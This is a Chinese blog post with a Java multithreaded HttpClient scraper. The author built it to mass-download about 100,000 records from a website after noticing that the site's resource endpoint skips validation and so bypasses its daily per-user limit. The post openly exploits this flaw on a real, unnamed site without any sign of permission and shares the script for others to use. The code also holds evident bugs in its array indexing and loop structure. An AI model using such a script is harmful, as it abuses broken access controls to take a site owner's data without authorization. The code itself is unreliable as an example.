httpclient 多线程爬虫实例

本人最近在研究安全测试的过程中，偶然发现某站一个漏洞，在获取资源的时候竟然不需要校验，原来设定的用户每天获取资源的次数限制就没了。赶紧想到用爬虫多爬一些数据，但是奈何数据量太大了，所以想到用多线程来爬虫。经过尝试终于完成了，脚本写得比较粗糙，因为没真想爬完。预计10万数据量，10个线程，每个线程爬1万，每次爬100个数据（竟然是 get 接口，有 url 长度限制）。

分享代码，供大家参考。

package practise;

import java.util.Date;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import org.apache.http.client.methods.HttpGet;
import net.sf.json.JSONObject;
import source.ApiLibrary;

public class LoginDz extends ApiLibrary {

  public static void main(String[] args) {
    LoginDz loginDz = new LoginDz();
    loginDz.excuteTreads();
    testOver();
  }

  public JSONObject getTi(int[] code, String name) {
    JSONObject response = null;
    String url = "***********";
    JSONObject args = new JSONObject();
    // args.put("ID_List", getTiId(884969));
    args.put("ID_List", getTiId(code));
    HttpGet httpGet = getHttpGet(url, args);
    response = getHttpResponseEntityByJson(httpGet);
    // output(response.toString());
    String text = response.toString();
    if (!text.equals("{\"success_response\":[]}"))
      logLog("name", response.toString());
    output(response);
    return response;
  }


  public String getTiId(int... id) {
    StringBuffer result = new StringBuffer();
    int length = id.length;
    for (int i = 0; i < length; i++) {
      String abc = "filter[where][origDocID][inq]=" + id[i] + "&";
      result.append(abc);
    }
    return result.toString();
  }

  /**
   * 执行多线程任务
   */
  public void excuteTreads() {
    int threads = 10;
    ExecutorService executorService = Executors.newFixedThreadPool(threads);
    CountDownLatch countDownLatch = new CountDownLatch(threads);
    Date start = new Date();
    for (int i = 0; i < threads; i++) {
      executorService.execute(new More(countDownLatch, i));
    }
    try {
      countDownLatch.await();
      executorService.shutdown();
    } catch (InterruptedException e) {
      e.printStackTrace();
    }
    Date end = new Date();
    outputTimeDiffer(start, end);
  }

  /**
   * 多线程类
   */
  class More implements Runnable {
    public CountDownLatch countDownLatch;
    public int num;

    public More(CountDownLatch countDownLatch, int num) {
      this.countDownLatch = countDownLatch;
      this.num = num;
    }

    @Override
    public void run() {
      int bound = num * 10000;

      try {
        for (int i = bound; i < bound + 10000; i += 100) {
          int[] ids = new int[100];
          for (int k = 0; k < 100; k++) {
            ids[i] = i + k;
            getTi(ids, bound + "");
          }
        }
      } finally {
        countDownLatch.countDown();
      }
    }

  }

}